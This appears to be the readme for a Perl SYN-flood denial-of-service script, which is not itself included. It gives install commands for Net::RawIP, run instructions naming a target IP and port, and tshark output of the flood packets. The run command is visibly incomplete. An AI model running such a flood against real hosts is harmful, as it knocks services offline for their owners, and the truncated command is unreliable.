    A simple script designed to illustrate the DoS SYN Flooding attack. It relies on Perl's RawIP package which can be obtained from CPAN as follows:

    cpan Net::RawIP

    or if you are using Debian/Ubuntu:

    sudo apt-get install libnet-rawip-perl

    To run the script provide source IP, target IP and target PORT and execute with root privileges

    sudo perl 80

    After executing the script, you can observe generated traffic with tshark:

    0.000000 -> TCP 23594 > 80 [SYN] Seq=0 Win=65535 Len=0
    0.000159 -> TCP 38603 > 80 [SYN] Seq=0 Win=65535 Len=0
    0.000296 -> TCP 45412 > 80 [SYN] Seq=0 Win=65535 Len=0
    0.000432 -> TCP 23105 > 80 [SYN] Seq=0 Win=65535 Len=0
    0.000568 -> TCP 55228 > 80 [SYN] Seq=0 Win=65535 Len=0
    0.000703 -> TCP 15435 > 80 [SYN] Seq=0 Win=65535 Len=0
    0.000838 -> TCP 43688 > 80 [SYN] Seq=0 Win=65535 Len=0
    0.000973 -> TCP 51695 > 80 [SYN] Seq=0 Win=65535 Len=0
    0.001107 -> TCP 6097 > 80 [SYN] Seq=0 Win=65535 Len=0
    0.001242 -> TCP 63154 > 80 [SYN] Seq=0 Win=65535 Len=0
